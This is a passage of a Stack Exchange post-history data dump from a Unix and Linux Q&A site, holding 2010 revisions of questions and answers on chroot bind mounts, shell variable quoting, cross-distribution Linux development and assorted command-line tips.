  <row Id="10752" PostHistoryTypeId="3" PostId="4891" RevisionGUID="264eea79-9263-4053-918a-8ce3e0be1dff" CreationDate="2010-12-16T09:29:09.563" UserId="3152" Text="élinuxàédevelopmentà" />
  <row Id="10753" PostHistoryTypeId="5" PostId="4868" RevisionGUID="97820a7e-e825-4ad7-845f-d27de120e33d" CreationDate="2010-12-16T09:44:00.563" UserId="3136" Comment="edited body; edited body" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I'm trying to run a program in Solaris 10 that fails due to the lack of Xutf8LookupString function.&#xD;&#xA;&#xD;&#xA;It is a well-known issue but I'd like to know a way to &quot;skip it&quot;.&#xD;&#xA;&#xD;&#xA;Would defining a different non-utf8 LC_CTYPE help?&#xD;&#xA;&#xD;&#xA;Would installing a different X server help? The problem doesn't happen on OpenSolaris? Is there a way I can &quot;update&quot; my Solaris system to use the same X libs as an OpenSolaris one?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10754" PostHistoryTypeId="2" PostId="4892" RevisionGUID="830c16a3-1b6b-45ba-9325-81d0dc9993d5" CreationDate="2010-12-16T09:52:32.630" UserId="1660" Text="Distros differs mostly in packaging and application defaults/configurations. Every code which runs in a determinated architecture should run on every distro for that architecture. Also you can easily run GNOME apps in KDE and vice-versa, so you can choose one that fits best you/your userbase and you're done!" />
  <row Id="10755" PostHistoryTypeId="2" PostId="4893" RevisionGUID="03b4e39c-8de8-4fd3-be38-9915ec2fb5af" CreationDate="2010-12-16T09:57:23.733" UserId="515" Text="Some points to keep in mind when developing,&#xD;&#xA;&#xD;&#xA; 1. Use a standard build system&#xD;&#xA; 2. Avoid hard coding library paths use tools like `pkg-config` to find the external packages instead. &#xD;&#xA; 3. If your application has a GUI, use some frameworks like `wxWidgets` which can render native UI elements depending on where you run. &#xD;&#xA; 4. Avoid creating dependencies with packages which won't run on other distributions.&#xD;&#xA;&#xD;&#xA;The only way to fully ensure your application works on all distributions is to actually run and test on it. One way you could do this is by creating virtual machines for each distributions. VirtualBox can be used to do this. I have around 8 virtual machines on my box for this kind of testing.  &#xD;&#xA;&#xD;&#xA;I think you can't generalize too much on deploying the application as each distribution uses different way of installing packages. Debian uses `deb` and fedora `rpm`. " />
  <row Id="10756" PostHistoryTypeId="2" PostId="4894" RevisionGUID="ccf7ff80-0a09-46a8-99eb-feef1c7e9206" CreationDate="2010-12-16T10:17:02.780" UserId="2932" Text="Just my 2c, but I have had less headaches with applications that either come with packages in the official repositories or that are compiled from source. Applications that are distributed as 3rd party binaries tend to suffer from some dependency issues. I will usually need to track these down and resolve them manually.&#xD;&#xA;&#xD;&#xA;So, if I were to release a Linux app, I would either work to package it and get it into the official repositories. Otherwise, I would distribute it in source form and have the user compile it for their system.&#xD;&#xA;" />
  <row Id="10757" PostHistoryTypeId="2" PostId="4895" RevisionGUID="012552b2-cdb9-4205-a865-9dd773387bf3" CreationDate="2010-12-16T10:40:03.097" UserId="688" Text="Both gdm (based on **2.20**) and gdm3 (based on **2.30**) are available in Squeeze. Supposing that gdm3 should replace gdm, why are they both still supported?" />
  <row Id="10758" PostHistoryTypeId="1" PostId="4895" RevisionGUID="012552b2-cdb9-4205-a865-9dd773387bf3" CreationDate="2010-12-16T10:40:03.097" UserId="688" Text="Why is GDM 2.20 still in Squeeze?" />
  <row Id="10759" PostHistoryTypeId="3" PostId="4895" RevisionGUID="012552b2-cdb9-4205-a865-9dd773387bf3" CreationDate="2010-12-16T10:40:03.097" UserId="688" Text="édebianàégdmà" />
  <row Id="10760" PostHistoryTypeId="2" PostId="4896" RevisionGUID="baf0e488-d7e9-47f0-b62a-61f29ff5fc15" CreationDate="2010-12-16T11:27:20.617" UserId="2885" Text="sysfs is the Virtual Filesystem created during the 2.6 Kernel release cycle to show device information as procfs did not do this type of information that well.&#xD;&#xA;&#xD;&#xA;Memory etc has not been ported to sysfs as it was never intended to show that type of information so it is unlikely it will be ported at all." />
  <row Id="10761" PostHistoryTypeId="2" PostId="4897" RevisionGUID="616e851f-a85e-46ed-9daa-41f186211521" CreationDate="2010-12-16T12:15:24.087" UserId="3156" Text="I need to be able to provide the /bin and /lib directories inside a chroot jail so that programs can dynamically link properly.&#xD;&#xA;&#xD;&#xA;Is there a way to accomplish this without making a copy of the /bin and /lib dirs to the chroot jail?&#xD;&#xA;&#xD;&#xA;I've tried symlinks, and they don't work from inside chroot jails, and directories can not be hardlinked." />
  <row Id="10762" PostHistoryTypeId="1" PostId="4897" RevisionGUID="616e851f-a85e-46ed-9daa-41f186211521" CreationDate="2010-12-16T12:15:24.087" UserId="3156" Text="Providing /bin and /lib inside a chroot jail" />
  <row Id="10763" PostHistoryTypeId="3" PostId="4897" RevisionGUID="616e851f-a85e-46ed-9daa-41f186211521" CreationDate="2010-12-16T12:15:24.087" UserId="3156" Text="ésymlinkàéchrootà" />
  <row Id="10764" PostHistoryTypeId="2" PostId="4898" RevisionGUID="90806cb5-d848-499f-904f-a566de09bf28" CreationDate="2010-12-16T12:37:15.713" UserId="3002" Text="You could use `mount -B bind /bin /chroot/bin`&#xD;&#xA;" />
  <row Id="10765" PostHistoryTypeId="5" PostId="4898" RevisionGUID="b18c09e3-1902-410b-8683-8059b6f22caf" CreationDate="2010-12-16T12:43:23.570" UserId="3002" Comment="added 73 characters in body" Text="You could do:&#xD;&#xA;&#xD;&#xA;    # mount --bind /bin /chroot/bin&#xD;&#xA;    # mount --bind /lib /chroot/lib&#xD;&#xA;    # chroot /chroot&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10766" PostHistoryTypeId="5" PostId="4898" RevisionGUID="9d3e4bce-2e42-4b80-8158-83b08ad0f540" CreationDate="2010-12-16T12:57:27.343" UserId="3002" Comment="added 159 characters in body" Text="You could use `mount` to remount the directories you need in your jail:&#xD;&#xA;&#xD;&#xA;    # mount --bind /bin /chroot/bin&#xD;&#xA;    # mount --bind /lib /chroot/lib&#xD;&#xA;    # chroot /chroot&#xD;&#xA;&#xD;&#xA;For use in `/etc/fstab`:&#xD;&#xA;&#xD;&#xA;    /bin /chroot/bin none bind&#xD;&#xA;    /lib /chroot/lib none bind&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cheers!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10767" PostHistoryTypeId="2" PostId="4899" RevisionGUID="cce12891-eae2-4507-a01c-64510f14df67" CreationDate="2010-12-16T13:14:01.263" UserId="29" Text="I can write&#xD;&#xA;&#xD;&#xA;    VAR=$VAR1&#xD;&#xA;    VAR=${VAR1}&#xD;&#xA;    VAR=&quot;$VAR1&quot;&#xD;&#xA;    VAR=&quot;${VAR}&quot;&#xD;&#xA;&#xD;&#xA;the end result to me all seems about the same. Why should I write one or the other?" />
  <row Id="10768" PostHistoryTypeId="1" PostId="4899" RevisionGUID="cce12891-eae2-4507-a01c-64510f14df67" CreationDate="2010-12-16T13:14:01.263" UserId="29" Text="$VAR vs ${VAR} and to quote or not to quote" />
  <row Id="10769" PostHistoryTypeId="3" PostId="4899" RevisionGUID="cce12891-eae2-4507-a01c-64510f14df67" CreationDate="2010-12-16T13:14:01.263" UserId="29" Text="éshellàéshellöscriptàéenvironmentövariablesà" />
  <row Id="10770" PostHistoryTypeId="2" PostId="4900" RevisionGUID="78c1093a-d3f7-4e7d-9a28-d70b74157cf8" CreationDate="2010-12-16T13:38:56.400" UserId="2180" Text="`VAR=$VAR1` is a simplified version of `VAR=${VAR1}`. There are things the second can do that the first cant, for instance reference an array index or count the length of the value. See the [More on variables][1] section of the Bash Guide for Beginners.&#xD;&#xA;&#xD;&#xA;Using quotes around a variable as in `VAR=&quot;$VAR1&quot;` and `VAR=&quot;${VAR}&quot;` is usually a good idea. This makes the contents of the variable an atomic unit. If the variable value contains spaces and you don't quote it, then each word is considered an argument in whatever you're doing.&#xD;&#xA;&#xD;&#xA;    var=&quot;hello there&quot;&#xD;&#xA;    var1=$var&#xD;&#xA;    #the above expands to var1=hello there. The shell will assign &quot;hello&quot; to var1 and complain about not finding the program &quot;there&quot;.&#xD;&#xA;    var1=&quot;$var&quot;&#xD;&#xA;    #the above expands to var1=&quot;hello there&quot;. The shell will assign &quot;hello there&quot; to var1.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_10.html" />
  <row Id="10771" PostHistoryTypeId="5" PostId="4899" RevisionGUID="802a2769-aa91-4fe5-a7f2-7e7554a8590a" CreationDate="2010-12-16T13:43:21.780" UserId="29" Comment="add posix tag" Text="I can write&#xD;&#xA;&#xD;&#xA;    VAR=$VAR1&#xD;&#xA;    VAR=${VAR1}&#xD;&#xA;    VAR=&quot;$VAR1&quot;&#xD;&#xA;    VAR=&quot;${VAR1}&quot;&#xD;&#xA;&#xD;&#xA;the end result to me all seems about the same. Why should I write one or the other? are any of these not portable/POSIX?" />
  <row Id="10772" PostHistoryTypeId="2" PostId="4901" RevisionGUID="240c7db1-6861-4e1d-8fe5-f978f6664bd4" CreationDate="2010-12-16T13:46:56.923" UserId="3157" Text="    # change chmod to file dowloaded --&gt; $_&#xD;&#xA;&#xD;&#xA;    wget -c http://link/to/file -O /path/to/save/namefile &amp;&amp; chmod 0755 $_&#xD;&#xA;&#xD;&#xA;    # extract tar.bz2 or tar.gz whit less work&#xD;&#xA;    # this avoids having to unpack and then move the files to another location, in this case have # already extracted in the desired location&#xD;&#xA;&#xD;&#xA;    tar jxvf file.tar.bz2 -C /pat/to/extract&#xD;&#xA;&#xD;&#xA;    # calculator with bc - in bashrc&#xD;&#xA;    calc(){ echo &quot;scale=2;$@&quot; | bc;}&#xD;&#xA;&#xD;&#xA;    # set magic-space in bashrc&#xD;&#xA;    bind Space:magic-space                 # !pin&lt;space&gt;  expand last cmd pin...&#xD;&#xA;&#xD;&#xA;    # alias to open last edited file in vim&#xD;&#xA;    alias lvim=&quot;vim -c \&quot;normal '0\&quot;&quot;&#xD;&#xA;&#xD;&#xA;    # alias to show your path set&#xD;&#xA;    alias path='echo -e ${PATH//:/\\n}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10773" PostHistoryTypeId="6" PostId="4899" RevisionGUID="802a2769-aa91-4fe5-a7f2-7e7554a8590a" CreationDate="2010-12-16T13:43:21.780" UserId="29" Comment="add posix tag" Text="éshellàéshellöscriptàéenvironmentövariablesàéposixà" />
  <row Id="10774" PostHistoryTypeId="2" PostId="4902" RevisionGUID="44eece4f-d7fa-4c2a-b37f-a31837ead993" CreationDate="2010-12-16T14:07:19.227" UserId="1974" Text="If you didn't want to mount the directories as jgr said, you can use `cp` to recursivly copy directories and create hardlinks for all files:&#xD;&#xA;&#xD;&#xA;    cp -alf /bin /chroot/bin&#xD;&#xA;    cp -alf /lib /chroot/lib&#xD;&#xA;    chroot /chroot&#xD;&#xA;&#xD;&#xA;This way your chroot's `/bin` and `/lib` can have slightly different structure / contents than the main directories." />
  <row Id="10775" PostHistoryTypeId="2" PostId="4903" RevisionGUID="4bf8ad9a-d72d-475d-a9b1-97f111a86993" CreationDate="2010-12-16T14:07:49.620" UserId="3158" Text="I want to install kvm on debian(lenny). I have learnt that packages kvm and qemu-kvm are not available for powerpc architecture.  &#xD;&#xA;http://packages.debian.org/search?suite=default&amp;section=all&amp;arch=any&amp;searchon=names&amp;keywords=kvm  &#xD;&#xA;I have found one package kvm-source and installed it, but I don't know how to proceed with it further. Can somebody guide me on how to install kvm. I also want to know whether I need to install libvirt-kvm as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10776" PostHistoryTypeId="1" PostId="4903" RevisionGUID="4bf8ad9a-d72d-475d-a9b1-97f111a86993" CreationDate="2010-12-16T14:07:49.620" UserId="3158" Text="How to install kvm in Debian (Lenny) over powerpc" />
  <row Id="10777" PostHistoryTypeId="3" PostId="4903" RevisionGUID="4bf8ad9a-d72d-475d-a9b1-97f111a86993" CreationDate="2010-12-16T14:07:49.620" UserId="3158" Text="édebianàékvmà" />
  <row Id="10778" PostHistoryTypeId="5" PostId="4887" RevisionGUID="6682c729-fc79-4292-88ce-69aab68d5b4e" CreationDate="2010-12-16T14:14:03.543" UserId="2567" Comment="spelling" Text="&gt; What is the difference between procfs&#xD;&#xA;&gt; and sysfs?&#xD;&#xA;&#xD;&#xA;proc is the old one, it is more or less without rules and structure. And at some point it was decided that proc was a little to chaotic and a new way was needed. &#xD;&#xA;&#xD;&#xA;Then sysfs was created, and the new stuff that was added was put into sysfs like device information.&#xD;&#xA;&#xD;&#xA;So in some sense they do the same, but sysfs is a little bit more structured.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Why are they made as file systems?&#xD;&#xA;&#xD;&#xA;Unix philosophy tells us that everything is a file, therefore it was created so it behaves as files. &#xD;&#xA;&#xD;&#xA;&gt; As I understand it, proc is just&#xD;&#xA;&gt; something to store the immediate info&#xD;&#xA;&gt; regarding the processes running in the&#xD;&#xA;&gt; system.&#xD;&#xA;&#xD;&#xA;Those parts has always been there and they will probably never move into sysfs.&#xD;&#xA;&#xD;&#xA;But there is more old stuff that you can find in proc, that has not been moved.&#xD;&#xA;" />
  <row Id="10779" PostHistoryTypeId="2" PostId="4904" RevisionGUID="f413144a-74ea-429f-9b53-a338c9aaccb9" CreationDate="2010-12-16T14:16:48.317" UserId="1974" Text="You could also use the `-path` parameter of `find` in place of `-name`:&#xD;&#xA;&#xD;&#xA;    find . -path &quot;dir2/*.c&quot;&#xD;&#xA;&#xD;&#xA;This could allow you to find files in `dir2` even if `dir2` were not a direct subdirectory, E.G:&#xD;&#xA;&#xD;&#xA;    # find . -path &quot;*/dir2/*.c&quot;&#xD;&#xA;    ./dir_a/dir2/file.c&#xD;&#xA;    ./dir_b/dir2/file.c" />
  <row Id="10780" PostHistoryTypeId="2" PostId="4905" RevisionGUID="ff3ee1f0-e04b-4bb1-b472-55c579cc1c6e" CreationDate="2010-12-16T14:23:20.387" UserId="3038" Text="    function calc() { echo $* p | dc }&#xD;&#xA;dc is a RPN calculator; this function enables me to type the expression as the command arguments:&#xD;&#xA;&#xD;&#xA;    $ calc 5 3 +&#xD;&#xA;    8" />
  <row Id="10781" PostHistoryTypeId="5" PostId="2824" RevisionGUID="dd98dff5-a88b-42b2-a2b7-1ee36720d5df" CreationDate="2010-12-16T14:49:26.760" UserId="252" Comment="Removed unneeded backticks" Text="See command output updated every n seconds&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    watch -n 60 df -h (displays df -h every 60 seconds)&#xD;&#xA;&#xD;&#xA;Show statistics about network device wlan0&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip -s link ls wlan0&#xD;&#xA;&#xD;&#xA;Show routing table for device eth1&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ip route ls dev eth1&#xD;&#xA;&#xD;&#xA;Display statistics for all routers packet travels through to reach HOST&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    mtr --interval 5 HOSTNAME&#xD;&#xA;&#xD;&#xA;Consult reverse DNS records for host names on NETWORK&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    nmap -sL NETWORK&#xD;&#xA;&#xD;&#xA;Benchmark a website&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    ab&#xD;&#xA;&#xD;&#xA;Get all links from a web page&#xD;&#xA;&#xD;&#xA;    lynx -dump http://www.yahoo.com | awk '/http/{print $2}'&#xD;&#xA;&#xD;&#xA;Show default gateway&#xD;&#xA;&#xD;&#xA;    netstat -rn | awk '/UG/{print $2}'&#xD;&#xA;&#xD;&#xA;Write standard error to a file&#xD;&#xA;&#xD;&#xA;    foo 2&gt; errors.txt&#xD;&#xA;&#xD;&#xA;Redirect stderr to stdout&#xD;&#xA;&#xD;&#xA;    foo 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Redirect both stderr and stdout to the same file.&#xD;&#xA;&#xD;&#xA;    foo &gt; file.txt 2&gt;&amp;1" />
  <row Id="10782" PostHistoryTypeId="5" PostId="4900" RevisionGUID="aedcb525-ca16-42de-9ad7-87afcfb34db3" CreationDate="2010-12-16T15:09:14.143" UserId="2180" Comment="Added more information after question modification" Text="`VAR=$VAR1` is a simplified version of `VAR=${VAR1}`. There are things the second can do that the first cant, for instance reference an array index or count the length of the value. See the [More on variables][1] section of the Bash Guide for Beginners.&#xD;&#xA;&#xD;&#xA;Using quotes around a variable as in `VAR=&quot;$VAR1&quot;` and `VAR=&quot;${VAR}&quot;` is usually a good idea. This makes the contents of the variable an atomic unit. If the variable value contains spaces and you don't quote it, then each word is considered an argument in whatever you're doing.&#xD;&#xA;&#xD;&#xA;    var=&quot;hello there&quot;&#xD;&#xA;    var1=$var&#xD;&#xA;    #the above expands to var1=hello there. The shell will assign &quot;hello&quot; to var1 and complain about not finding the program &quot;there&quot;.&#xD;&#xA;    var1=&quot;$var&quot;&#xD;&#xA;    #the above expands to var1=&quot;hello there&quot;. The shell will assign &quot;hello there&quot; to var1.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On portability:&#xD;&#xA;According to [POSIX.1-2008 sectio 2.6.2][2], the `${var}` method is the only defined way to expand parameters. The shorthand `$var` method works on at least bash, dash, csh, zsh, and Busybox ash. The part about quotes is unchanged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_10.html&#xD;&#xA;  [2]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02" />
  <row Id="10784" PostHistoryTypeId="5" PostId="4900" RevisionGUID="2154f93b-2a85-41e3-b20e-ca6823947452" CreationDate="2010-12-16T15:18:55.557" UserId="2180" Comment="fix another spelling fle1=&gt;file1" Text="`VAR=$VAR1` is a simplified version of `VAR=${VAR1}`. There are things the second can do that the first cant, for instance reference an array index or count the length of the value. See the [More on variables][1] section of the Bash Guide for Beginners.&#xD;&#xA;&#xD;&#xA;Using quotes around a variable as in `VAR=&quot;$VAR1&quot;` and `VAR=&quot;${VAR}&quot;` is usually a good idea. This makes the contents of the variable an atomic unit. If the variable value contains spaces and you don't quote it, then each word is considered an argument in whatever you're doing.&#xD;&#xA;&#xD;&#xA;    $var=&quot;file1 file2&quot;&#xD;&#xA;    $ls $var&#xD;&#xA;    file1 file2&#xD;&#xA;    $ls &quot;$var&quot;&#xD;&#xA;    ls: cannot access file1 file2: No such file or directory&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On portability:&#xD;&#xA;According to [POSIX.1-2008 section 2.6.2][2], the `${var}` method is the only defined way to expand parameters. The shorthand `$var` method works on at least bash, dash, csh, zsh, and Busybox ash. The part about quotes is unchanged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_10.html&#xD;&#xA;  [2]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02" />
  <row Id="10785" PostHistoryTypeId="2" PostId="4906" RevisionGUID="7505f2b5-ea4b-40b6-9c61-03e696e760fd" CreationDate="2010-12-16T15:38:54.257" UserId="3159" Text="Write to Posix standards and don't bother with gui." />
  <row Id="10786" PostHistoryTypeId="5" PostId="4893" RevisionGUID="75913580-a85f-46eb-be52-376bae58f84e" CreationDate="2010-12-16T16:30:13.387" UserId="29" Comment="just plain avoid hard coding paths." Text="Some points to keep in mind when developing,&#xD;&#xA;&#xD;&#xA; 1. Use a standard build system&#xD;&#xA; 2. Avoid hard coding &lt;strike&gt;library&lt;/strike&gt; paths&#xD;&#xA; 3. use tools like `pkg-config` to find the external packages instead. &#xD;&#xA; 4. If your application has a GUI, use some frameworks like `wxWidgets` which can render native UI elements depending on where you run. &#xD;&#xA; 4. Avoid creating dependencies with packages which won't run on other distributions.&#xD;&#xA;&#xD;&#xA;The only way to fully ensure your application works on all distributions is to actually run and test on it. One way you could do this is by creating virtual machines for each distributions. VirtualBox can be used to do this. I have around 8 virtual machines on my box for this kind of testing.  &#xD;&#xA;&#xD;&#xA;I think you can't generalize too much on deploying the application as each distribution uses different way of installing packages. Debian uses `deb` and fedora `rpm`. " />
  <row Id="10787" PostHistoryTypeId="6" PostId="4903" RevisionGUID="95cd1647-6cb7-4693-8d22-0024538552f5" CreationDate="2010-12-16T16:38:14.083" UserId="29" Comment="add tags" Text="édebianàésoftwareöinstallationàékvmàépowerpcà" />
  <row Id="10788" PostHistoryTypeId="5" PostId="4903" RevisionGUID="39a31bc5-7498-459a-b8fc-651c5940ab9f" CreationDate="2010-12-16T16:55:58.527" UserId="73" Comment="deleted 34 characters in body" Text="I want to install kvm on debian(lenny). I have learned that the kvm and qemu-kvm packages are [not available](http://packages.debian.org/search?suite=default&amp;section=all&amp;arch=any&amp;searchon=names&amp;keywords=kvm) for the powerpc architecture.  &#xD;&#xA;  &#xD;&#xA;I have found one package (kvm-source) and installed it, but I don't know how to proceed with it further. How do I install kvm on powerpc? Do I need to install libvirt-kvm as well?" />
  <row Id="10789" PostHistoryTypeId="5" PostId="4857" RevisionGUID="e8617a4d-6f5f-4600-9579-c55e06d4220b" CreationDate="2010-12-16T18:01:34.060" UserId="885" Comment="added slash to first command (thanks Steven)" Text="Portably:&#xD;&#xA;&#xD;&#xA;    find . -type d -exec sh -c 'printf &quot;%s/\n&quot; &quot;$0&quot;' {} \; -or -print&#xD;&#xA;&#xD;&#xA;If you're willing to list directories and files separately (you can merge the output by sorting):&#xD;&#xA;&#xD;&#xA;    { find . -type d -print | sed 's!$!/!'; find . \! -type d; } | sort&#xD;&#xA;&#xD;&#xA;With GNU find, see [Shawn J. Goff's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4849#4849).&#xD;&#xA;&#xD;&#xA;If you're willing to risk non-printable characters being mangled even when not outputting to a terminal, see [ddeimeke's answer](http://unix.stackexchange.com/questions/4847/make-find-show-slash-after-directories/4856#4856).&#xD;&#xA;&#xD;&#xA;In zsh: `print -rl -- **/*(DM)` (`D` to include dot files, `M` to add a `/` after directories)&#xD;&#xA;" />
  <row Id="10790" PostHistoryTypeId="2" PostId="4907" RevisionGUID="f24b79ff-12be-4b03-b573-73794ce57604" CreationDate="2010-12-16T18:22:44.240" UserId="1571" Text="The main thing is choosing a language. What language will this be run in? If you really want to run on any linux distro, you could write it in Python. Any python app that will run on linux will (basically) run on any linux distro with 0 modifications.&#xD;&#xA;&#xD;&#xA;Python also has really nice GTK and Qt binders. I've never worked with gtk, but PyQt is really great to work with.&#xD;&#xA;&#xD;&#xA;The benefits to python is that you'll probably not need to compile any extensions (it totally depends on what you're writing though. Even if you do need to, it's pretty easy.) and you also have a great distribution source via pypi. Installing python programs from there is usually even easier than the distro package repository." />
  <row Id="10791" PostHistoryTypeId="2" PostId="4908" RevisionGUID="02855952-5706-4d81-955b-8581feb7424a" CreationDate="2010-12-16T18:38:47.273" UserId="885" Text="If you're writing for non-embedded Linux, the main thing to keep in mind is that different distributions will have a different collection of library versions. So you should set a sufficiently old baseline. As Debian updates slowly, Debian stable (or oldstable when it exists, in the few months after a release) tends to be a reasonable choice.&#xD;&#xA;&#xD;&#xA;You'll need to package separately for each distribution. If your application is open source and at all successful, you can count on someone picking it up and contributing the packaging, so it's not an essential skill. Other than packaging, the differences between distributions mostly affect system administration, not development or daily use.&#xD;&#xA;&#xD;&#xA;If you're going to patch the kernel, you'll have to test with more distributions as each distribution has their own patches that could cause incompatibilities and each distribution has userland settings that may rely on different sets of kernel interfaces being available (e.g. requirements for some things not to be modules).&#xD;&#xA;&#xD;&#xA;Note that what I wrote above is not true if you want your application to work on embedded systems (here meaning anything that's not a server, desktop or laptop), which even when they run a Linux kernel often don't have the usual libraries, starting with [Glibc](http://www.gnu.org/software/libc/) being eschewed in favor of [µClibc](http://www.uclibc.org/), [dietlibc](http://www.fefe.de/dietlibc/), [Bionic](http://lxr.e2g.org/source/bionic/libc/), etc.&#xD;&#xA;" />
  <row Id="10792" PostHistoryTypeId="5" PostId="4875" RevisionGUID="03f78278-6138-45c3-8407-6c244cd78e63" CreationDate="2010-12-16T18:46:41.043" UserId="4" Comment="added 336 characters in body" Text="* zsync is [being actively developed][1] &#xD;&#xA;* jigdo is '[now in &quot;maintenance mode&quot;, development has stopped][2].'&#xD;&#xA;&#xD;&#xA;For a new project, using actively developed software will have many advantages over frozen software. What will your project need in a year, and will Jigdo provide that new functionality?&#xD;&#xA;&#xD;&#xA;Now, I couldn't find evidence to back this up so someone please correct me. I believe that:&#xD;&#xA;&#xD;&#xA;* jigdo allows clients to download chunks from multiple, different mirrors, similar to bittorrent. This greatly reduces the load on the central mirror.&#xD;&#xA;* zsync is designed for a single, central mirror.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moria.org.uk/computers/zsync.html&#xD;&#xA;  [2]: http://atterer.org/jigdo&#xD;&#xA;  [3]: http://zsync.moria.org.uk/" />
  <row Id="10793" PostHistoryTypeId="2" PostId="4909" RevisionGUID="54ee5594-60dc-4fb1-91fa-19f059dac919" CreationDate="2010-12-16T18:49:12.607" UserId="1147" Text="I've found the `Linux Standards Base` to be helpful, especially when your application includes services (daemons).  See some of these sites:&#xD;&#xA;&#xD;&#xA; - [Learn About Portability][1] &#xD;&#xA; - [LSB 4.0 Resource Page][2]&#xD;&#xA; - [Linux App Checker - Getting Started][3] &#xD;&#xA;&#xD;&#xA;But if I had to be limited to just resource, it might be the [File Hierarchy Standard][4]. &#xD;&#xA;&#xD;&#xA;  [1]: http://ldn.linuxfoundation.org/lsb/learn-about-portability&#xD;&#xA;  [2]: http://ldn.linuxfoundation.org/lsb/lsb4-resource-page&#xD;&#xA;  [3]: http://ldn.linuxfoundation.org/lsb/linux-application-checker-getting-started&#xD;&#xA;  [4]: http://www.pathname.com/fhs/pub/fhs-2.3.html" />
  <row Id="10794" PostHistoryTypeId="2" PostId="4910" RevisionGUID="748fa0bd-642c-43cd-a8aa-f9951dbf5d23" CreationDate="2010-12-16T18:57:17.187" UserId="885" Text="`${VAR}` and `$VAR` are exactly equivalent. For a plain variable expansion, the only reason to use `${VAR}` is when parsing would otherwise grab too many characters into the variable name, as in `${VAR1}_$VAR2` (which without braces would be equivalent to `${VAR1_}$VAR2`). Most adorned expansions (`${VAR:=default}`, `${VAR#prefix}`, …) require braces.&#xD;&#xA;&#xD;&#xA;In a variable assignment, [field splitting](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_05) (i.e. splitting at whitespace in the value) and [pathname expansion](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_06) (i.e. globbing) are turned off, so `VAR=$VAR1` is exactly equivalent to `VAR=&quot;$VAR1&quot;`, in all POSIX shells and in all pre-POSIX sh that I've head of. (POSIX ref: [simple commands](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_09_01)). For the same reason, `VAR=*` reliably sets `VAR` to the literal string `*`; of course `VAR=a b` sets `VAR` to `a` since the `b` is a separate word in the first place. There are two other places where the double quotes are unnecessary: [redirection targets](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_07) (`&gt;$filename` is as good as `&gt;&quot;$filename&quot;`) (only in scripts though, not in most interactive shells) and the word to match in [case statements](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_09_04_05).&#xD;&#xA;&#xD;&#xA;You do need the double quotes in other cases, in particular in `export VAR=&quot;${VAR1}&quot;` (which can equivalently be written `export &quot;VAR=${VAR1}&quot;`). The similarity of this case with simple assignments, and the scattered nature of the list of cases where you don't need double quotes, are why I recommend just using double quotes unless you do want to split and glob.&#xD;&#xA;" />
  <row Id="10795" PostHistoryTypeId="5" PostId="4900" RevisionGUID="f74e48fc-ffaa-4ea3-867a-29d7ac83179e" CreationDate="2010-12-16T18:57:45.220" UserId="2180" Comment="missed a step in example" Text="`VAR=$VAR1` is a simplified version of `VAR=${VAR1}`. There are things the second can do that the first cant, for instance reference an array index or count the length of the value. See the [More on variables][1] section of the Bash Guide for Beginners.&#xD;&#xA;&#xD;&#xA;Using quotes around a variable as in `VAR=&quot;$VAR1&quot;` and `VAR=&quot;${VAR}&quot;` is usually a good idea. This makes the contents of the variable an atomic unit. If the variable value contains spaces and you don't quote it, then each word is considered an argument in whatever you're doing.&#xD;&#xA;&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./filename&#xD;&#xA;    ./spaced filename&#xD;&#xA;    ./another spaced filename&#xD;&#xA;    var='spaced filename'&#xD;&#xA;    $#usually, 'spaced filename' would come from the output of some command and you weren't expecting it&#xD;&#xA;    $rm $var&#xD;&#xA;    rm: cannot remove `spaced': No such file or directory&#xD;&#xA;    $#oops! I just ran 'rm spaced filename'&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./spaced filename&#xD;&#xA;    ./another spaced filename&#xD;&#xA;    $var='another spaced filename'&#xD;&#xA;    $rm &quot;$var&quot;&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./spaced filename&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On portability:&#xD;&#xA;According to [POSIX.1-2008 section 2.6.2][2], the `${var}` method is the only defined way to expand parameters. The shorthand `$var` method works on at least bash, dash, csh, zsh, and Busybox ash. The part about quotes is unchanged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_10.html&#xD;&#xA;  [2]: 